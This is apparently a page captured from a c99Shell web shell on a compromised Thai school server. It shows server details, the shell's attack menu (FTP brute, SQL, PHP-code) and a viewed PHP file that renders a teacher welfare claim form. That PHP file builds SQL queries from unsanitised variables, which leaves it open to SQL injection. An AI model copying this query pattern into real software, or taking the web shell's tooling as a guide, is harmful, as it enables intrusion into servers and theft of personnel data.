!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Add7232.php (33.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
        require_once( 
"../includes/FunctionDB.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "formaoffice";
        
$myTable3 "project_tb";
        
$myTable4 "training_tb";
        
$myTable5 "budget_year_tb";
        
        
/**  Table  -->  personal_tb  */
        
$query " SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE  Teacher_code='$Teacher_code' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
            
$Teacher_code $rss['Teacher_code'];
        
        
/**  Table  -->  tech_plan_tb  */
        
$query1 " SELECT *  FROM $myTable2  WHERE   codeId='$codeId'    ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchArray($result1);
        
        
/**  Table  -->  techplan_method_tb  */
        
$query2 " SELECT *  FROM $myTable3  WHERE   codeId='$codeId'     ";
        
$result2 $dbObj->execQuery($query2);
        
$rs2 $dbObj->fetchArray($result2);
        
        
/**  Table  -->  tech_spec_tb  */
        
$query3 " SELECT *  FROM $myTable4  WHERE  Training_code='$Training_code'  AND  Teacher_code='$Teacher_code'    ";
        
$result3 $dbObj->execQuery($query3);
        
$rs3 $dbObj->fetchArray($result3);
        
        
$query " SELECT *  FROM  $myTable5      ";
        
$result5 $dbObj->execQuery($query);
        
$rs5 $dbObj->fetchArray($result5);
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/ajaxScript.js"></script>
<script type="text/javascript" src="../js/calendarDateInput2.js"></script>
<script language="javascript">
function checkData() {
var formObj = document.form1;
    if( ( formObj.Training_name.value == "" ) && ( formObj.Day.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Training_name.style.backgroundColor='#F1F9FC'; formObj.Day.focus();    return false; }
     if(formObj.Training_name.value == "" ) { alert("กรุณากรอก  ชื่อเรื่อง"); formObj.Training_name.style.backgroundColor='#F1F9FC'; formObj.Training_name.focus(); return false;} 
     if(formObj.Day.value == "" ) { alert("กรุณากรอก  จำนวนวัน"); formObj.Day.style.backgroundColor='#F1F9FC'; formObj.Day.focus(); return false;} 
     if(formObj.Organiz.value == "" ) { alert("กรุณากรอก  หน่วยงานที่จัด"); formObj.Organiz.style.backgroundColor='#F1F9FC'; formObj.Organiz.focus(); return false;} 
      if(formObj.CNEU.value == "" ) { alert("กรุณากรอก  สถานที่"); formObj.CNEU.style.backgroundColor='#F1F9FC'; formObj.CNEU.focus(); return false;} 
    else return true ;
}
</script>
<script language="JavaScript" type="text/JavaScript">
function browse()
{
    form1.Filetex.src = form1.Filetex.value;
}
</script>
<title>ข้<?=$_Config_sitename;?></title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1002" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="198" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="left" valign="top" style="padding:10px 0px 5px 10px"><fieldset><legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><a href="Menu_Form.php?Teacher_code=3">แบบฟอร์มราชการ</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><a href="TrainingList.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลการศึกษาของบุตร </a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><strong><span class="NOTE">บันทึกเบิกเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร</span></strong></legend>
    
     <form action="#" method="post" enctype="multipart/form-data" name="form1" id="form1" onSubmit="return checkData();">
     <table width="780" border="0" cellspacing="0" cellpadding="0">      
      <tr>
        <td width="780" height="5"></td>
      </tr>
      <tr>
        <td align="right">แบบ 7223</td>
      </tr>
      <tr>
        <td align="center">
      
          <?php

        ?>
        
        <table width="764" cellpadding="0" cellspacing="0">
          <tr height="31">
            <td height="31" colspan="5" align="center" class="PATRON11">ใบเบิกเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร </td>
            </tr>
          <tr height="29">
            <td height="16" colspan="5" l="l"><p align="center">โปรดทำเครื่องหมาย / ลงในช่อง
              <input type="checkbox" name="checkbox13" id="checkbox13" />
ƒ พร้อมทั้งกรอกข้อความเท่าที่จำเป็น </p></td>
          </tr>
          <tr>
            <td height="16" align="left">&nbsp;</td>
            <td width="303" height="16" align="left">&nbsp;</td>
            <td width="93" height="16" align="left">&nbsp;</td>
            <td width="274" height="16" align="center">              </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="5" align="left"><table width="744" border="0">
              <tr>
                <td colspan="2"></td>
                </tr>
              <tr>
                <td>๑.</td>
                <td>ข้าพเจ้า
                  <input name="Name9" type="text" id="Name10" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="35"  value="<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?> " readonly="readonly"/>
                  ตำแหน่ง
                  <input name="Name9" type="text" id="Name11" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value=" <? $PositionId =  $rss["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " readonly="readonly"/>
                  </a></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>สังกัด
                  <input name="Name10" type="text" id="Name12" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:left" size="50" value="<? 
 $collegeCode 
=  $rss["collegeCode"];
                
$sql "Select * From  college Where collegeStatus ='1'";
                
$result1 mysql_query($sql) or die("Error".mysql_error());
                
$rs2 mysql_fetch_array($result1); 
                echo 
$rs2['collegeName'];
                
?>"/></td>
                </tr>
              <tr>
                <td colspan="2"><hr /></td>
                </tr>
              <tr>
                <td>๒.</td>
                <td>คู่สมรสของข้าพเจ้าชื่อ<font color="#0000FF" size="2" face="Tahoma">
                  <input name="Training_name2" type="text" id="Training_name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs3['Training_name'];?>" size="40" />
                  </font></td>
                </tr>
              <tr>
                <td width="45">&nbsp;</td>
                <td width="689"><label>
                  <input type="checkbox" name="checkbox" id="checkbox" />
                  </label>
                  ไม่เป็นข้าราชการประจำหรือลูกจ้างประจำ</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td><input type="checkbox" name="checkbox2" id="checkbox2" />
                  เป็นข้าราชการ&nbsp;
                  <input type="checkbox" name="checkbox5" id="checkbox5" />
                  ลูกจ้างประจำ&nbsp; ตำแหน่ง
                  <input name="Name2" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/>
                  สังกัด
                  <input name="Name3" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td height="23">&nbsp;</td>
                <td><input type="checkbox" name="checkbox3" id="checkbox3" />
                  
                  เป็นพนักงานหรือลูกจ้างในรัฐวิสาหกิจ  / หน่วยงานของทางราชการ  ราชการส่วนท้องถิ่น กรุงเทพมหานคร องค์กรอิสระ                  </td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>องค์การมหาชน  หรือหน่วยงานอื่นใด&nbsp;&nbsp; ตำแหน่ง
                  <input name="Name7" type="text" id="Name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/>
                  สังกัด
                  <input name="Name8" type="text" id="Name7" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td colspan="2"><hr /></td>
                </tr>
              <tr>
                <td>๓.</td>
                <td>ข้าพเจ้าเป็นผู้มีสิทธิและขอใช้สิทธิเนื่องจาก</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td><input type="checkbox" name="checkbox4" id="checkbox4" />                
                  เป็นบิดาชอบด้วยกฎหมาย                  </td>
                </tr>
              <tr>
                <td height="22">&nbsp;</td>
                <td><input type="checkbox" name="checkbox6" id="checkbox6" />
                  
                  เป็นมารดา                  </td>
                </tr>
              <tr>
                <td colspan="2"><hr /></td>
                </tr>
              <tr>
                <td>๔.</td>
                <td>ข้าพเจ้าได้จ่ายเงินสำหรับการศึกษาของบุตร&nbsp; ดังนี้                  </td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">(1) เงินบำรุงการศึกษา  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(2) เงินค่าเล่าเรียน</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>1) บุตรชื่อ 
                  <input name="Name" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  เกิดเมื่อ 
                  <input name="Name6" type="text" id="Name8" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>เป็นบุตรลำดับที่ (ของบิดา)
                  <input name="Name11" type="text" id="Name9" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"/>
                  เป็นบุตรลำดับที่ (ของมารดา)
                  <input name="Name12" type="text" id="Name13" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>(กรณีเป็นบุตรแทนที่บุตรซึ่งถึงแก่กรรมแล้ว) แทนที่บุตร ลำดับที่ 
                  <input name="Name13" type="text" id="Name14" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"  value=" "/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>ชื่อ
                  <input name="Name14" type="text" id="Name15" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/> 
                  เกิดเมื่อ 
                  <input name="Name15" type="text" id="Name16" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/>
                  ถึงแก่กรรมเมื่อ 
                  <input name="Name16" type="text" id="Name17" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>สถานศึกษา 
                  <input name="Name17" type="text" id="Name18" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  อำเภอ 
                  <input name="Name18" type="text" id="Name19" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/> 
                  จังหวัด
                  <input name="Name19" type="text" id="Name20" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>ชั้นที่ศึกษา
                  <input name="Name20" type="text" id="Name21" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  (1) 
                  <label>
                    <input type="checkbox" name="checkbox7" id="checkbox7" />
                    </label></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (2)
                  <label>
                    <input type="checkbox" name="checkbox8" id="checkbox8" />
                    จำนวนเงิน 
                    <input name="Name21" type="text" id="Name22" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10"/> 
                    บาท                    </label></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">-----------------------------------------------------------------------------------------------------------------------</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>2) บุตรชื่อ
                  <input name="Name22" type="text" id="Name23" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  เกิดเมื่อ
  <input name="Name22" type="text" id="Name24" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>เป็นบุตรลำดับที่ (ของบิดา)
                  <input name="Name23" type="text" id="Name25" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"/>
                  เป็นบุตรลำดับที่ (ของมารดา)
  <input name="Name23" type="text" id="Name26" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>(กรณีเป็นบุตรแทนที่บุตรซึ่งถึงแก่กรรมแล้ว) แทนที่บุตร ลำดับที่
                  <input name="Name24" type="text" id="Name27" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"  value=" "/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>ชื่อ
                  <input name="Name25" type="text" id="Name28" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  เกิดเมื่อ
  <input name="Name25" type="text" id="Name29" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/>
                  ถึงแก่กรรมเมื่อ
  <input name="Name25" type="text" id="Name30" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>สถานศึกษา
                  <input name="Name26" type="text" id="Name31" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  อำเภอ
  <input name="Name26" type="text" id="Name32" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/>
                  จังหวัด
  <input name="Name26" type="text" id="Name33" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>ชั้นที่ศึกษา
                  <input name="Name27" type="text" id="Name34" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  (1)
  <label>
    <input type="checkbox" name="checkbox9" id="checkbox9" />
  </label></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;(2)
                  <label>
                    <input type="checkbox" name="checkbox10" id="checkbox10" />
                    จำนวนเงิน
                    <input name="Name28" type="text" id="Name35" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10"/>
                    บาท </label></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">----------------------------------------------------------------------------------------------------------------------</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>3) บุตรชื่อ
                  <input name="Name29" type="text" id="Name36" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  เกิดเมื่อ
  <input name="Name29" type="text" id="Name37" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>เป็นบุตรลำดับที่ (ของบิดา)
                  <input name="Name30" type="text" id="Name38" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"/>
                  เป็นบุตรลำดับที่ (ของมารดา)
  <input name="Name30" type="text" id="Name39" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>(กรณีเป็นบุตรแทนที่บุตรซึ่งถึงแก่กรรมแล้ว) แทนที่บุตร ลำดับที่
                  <input name="Name31" type="text" id="Name40" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"  value=" "/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>ชื่อ
                  <input name="Name32" type="text" id="Name41" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  เกิดเมื่อ
  <input name="Name32" type="text" id="Name42" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/>
                  ถึงแก่กรรมเมื่อ
  <input name="Name32" type="text" id="Name43" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>สถานศึกษา
                  <input name="Name33" type="text" id="Name44" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  อำเภอ
  <input name="Name33" type="text" id="Name45" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/>
                  จังหวัด
  <input name="Name33" type="text" id="Name46" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>ชั้นที่ศึกษา
                  <input name="Name34" type="text" id="Name47" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  (1)
  <label>
    <input type="checkbox" name="checkbox11" id="checkbox11" />
  </label></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;(2)
                  <label>
                    <input type="checkbox" name="checkbox12" id="checkbox12" />
                    จำนวนเงิน
                    <input name="Name35" type="text" id="Name48" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10"/>
                    บาท </label></td>
                </tr>
              <tr>
                <td colspan="2"><hr /></td>
                </tr>
              <tr>
                <td>๕.</td>
                <td>ข้าพเจ้าขอรับเงินสวัสดิการเกี่ยวกับการศึกษาบุตร</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="checkbox14" id="checkbox14" /> 
                  ตามสิทธิ &nbsp;&nbsp;
                  <input type="checkbox" name="checkbox15" id="checkbox15" />
                  เฉพาะส่วนที่ยังขาดจากสิทธิ เป็นเงิน 
                  <input name="Name4" type="text" id="Name5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/> 
                  บาท &nbsp;&nbsp;&nbsp;<span class="NOTE">(ก)</span></td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">ตัวอักษร (
                  <input name="Name5" type="text" id="Name6" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" readonly="readonly"/>
                  )</td>
                </tr>
              <tr>
                <td colspan="2"><hr /></td>
                </tr>
              <tr>
                <td>๖.</td>
                <td>เสนอ
                  <input name="Training_name" type="text" id="Training_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ผู้อำนวยการ <? 
                  $collegeCode 
=  $rss["collegeCode"];
                
$sql "Select * From  college Where collegeStatus ='1'";
                
$result1 mysql_query($sql) or die("Error".mysql_error());
                
$rs2 mysql_fetch_array($result1); 
                echo 
$rs2['collegeName'];
                
?>" size="50" />&nbsp;&nbsp;&nbsp;<span class="NOTE">(ข)</span>                 </td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td><input type="checkbox" name="checkbox16" id="checkbox16" />
                  
                  ข้าพเจ้ามีสิทธิได้รับเงินช่วยเหลือตามพระราชกฤษฎีกาเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร&nbsp; และข้อความ</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ที่ระบุข้างต้นเป็นความจริง</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>
                  <input type="checkbox" name="checkbox17" id="checkbox17" />
                  บุตรของข้าพเจ้าอยู่ในข่ายได้รับการช่วยเหลือตามพระราชกฤษฎีกาเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td><input type="checkbox" name="checkbox18" id="checkbox18" />
                  เป็นผู้ใช้สิทธิเบิกเงินช่วยเหลือตามพระราชกฤษฎีกาเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร&nbsp; แต่เพียงฝ่ายเดียว</td>
                </tr>
              <tr>
                <td height="18">&nbsp;</td>
                <td><input type="checkbox" name="checkbox19" id="checkbox19" />
                  คู่สมรสของข้าพเจ้าได้รับการช่วยเหลือจากรัฐวิสาหกิจ&nbsp; หน่วยงานของทางราชการ&nbsp; ราชการส่วนท้องถิ่น กรุงเทพมหานคร</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;องค์กรอิสระ&nbsp;  องค์การมหาชน&nbsp;  หรือหน่วยงานอื่นใด&nbsp;  ต่ำกว่าจำนวนที่ได้รับจากทางราชการ</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;จำนวนเงิน
                  <input name="Name36" type="text" id="Name49" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"/>
                  บาท </td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>ข้าพเจ้าขอรับรองว่ามีสิทธิเบิกได้ตามกฎหมาย  ตามจำนวนที่ขอเบิก</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">(ลงชื่อ)
                  <input name="Name37" type="text" id="Name50" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM:  black 1px dashed; text-align:center"  size="20"  value="<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?> " readonly="readonly"/>
                  ผู้ขอรับเงินสวัสดิการ</td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">(
                  <input name="Name38" type="text" id="Name51" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"/>
                  )</td>
                </tr>
              <tr>
                <td height="24">&nbsp;</td>
                <td align="center">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; วันที่.......เดือน.............. พ.ศ.........</td>
                </tr>
              <tr>
                <td colspan="2"><hr /></td>
                </tr>
              <tr>
                <td>๗.</td>
                <td>คำอนุมัติ </td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td>อนุมัติให้เบิกได้ </td>
                </tr>
              <tr>
                <td>&nbsp;</td>
                <td align="center">(ลงชื่อ)
